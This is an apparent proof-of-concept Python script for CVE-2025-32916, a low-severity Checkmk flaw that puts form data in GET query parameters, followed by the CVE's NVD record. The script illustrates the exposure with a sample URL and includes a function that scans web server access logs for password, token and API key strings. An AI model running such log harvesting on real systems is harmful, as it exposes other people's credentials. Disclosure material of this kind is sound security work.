CVE-2025-32916

# CVE-2025-32916 PoC - Sensitive Data Exposure via GET Requests in Checkmk # This PoC demonstrates how sensitive form data can be exposed in URL parameters import requests from urllib.parse import urlparse, parse_qs # Target Checkmk instance TARGET_URL = "https://target-checkmk-instance.com/mysite/login" # Step 1: Identify forms that use GET method for sensitive data def check_form_method(url): """Check if forms on the page use GET method for sensitive data submission""" response = requests.get(url) # Look for forms with method="GET" that contain sensitive fields sensitive_fields = ['password', 'secret', 'token', 'api_key', 'credentials'] # Example of vulnerable form pattern: # <form method="GET" action="/mysome_page"> # <input type="password" name="password" /> # <input type="text" name="username" /> # </form> print(f"[*] Checking forms at: {url}") print(f"[*] Looking for GET method forms with sensitive fields...") return response.text # Step 2: Demonstrate the vulnerability - sensitive data in URL def demonstrate_vulnerability(): """Demonstrate how sensitive data ends up in URL parameters""" # When a form uses GET method, the URL will contain: vulnerable_url = "https://target-checkmk-instance.com/mysite/edit_password?username=admin&password=SuperSecret123&api_token=abc123xyz" parsed = urlparse(vulnerable_url) params = parse_qs(parsed.query) print(f"\n[+] Vulnerable URL detected:") print(f" URL: {vulnerable_url}") print(f"\n[+] Exposed parameters:") for key, value in params.items(): print(f" {key} = {value[0]}") # Step 3: Show where this data could be logged print(f"\n[*] This URL may be logged in:") print(f" - Browser history") print(f" - Web server access logs (Apache/Nginx)") print(f" - Reverse proxy logs") print(f" - HTTP Referer headers sent to third-party resources") print(f" - Network monitoring tools / SIEM systems") # Step 4: Extract sensitive data from server logs def extract_from_logs(log_file): """Extract sensitive data from web server access logs""" sensitive_patterns = ['password', 'secret', 'token', 'api_key'] with open(log_file, 'r') as f: for line in f: for pattern in sensitive_patterns: if pattern in line.lower(): print(f"[!] Sensitive data found in log: {line.strip()}") break if __name__ == "__main__": demonstrate_vulnerability()

{"cve": {"id": "CVE-2025-32916", "sourceIdentifier": "[email protected]", "published": "2025-10-09T15:16:05.503", "lastModified": "2025-12-04T20:44:21.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Potential use of sensitive information in GET requests in Checkmk GmbH's Checkmk versions <2.4.0p13, <2.3.0p38, <2.2.0p46, and 2.1.0 (EOL) may cause sensitive form data to be included in URL query parameters, which may be logged in various places such as browser history or web server logs."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", 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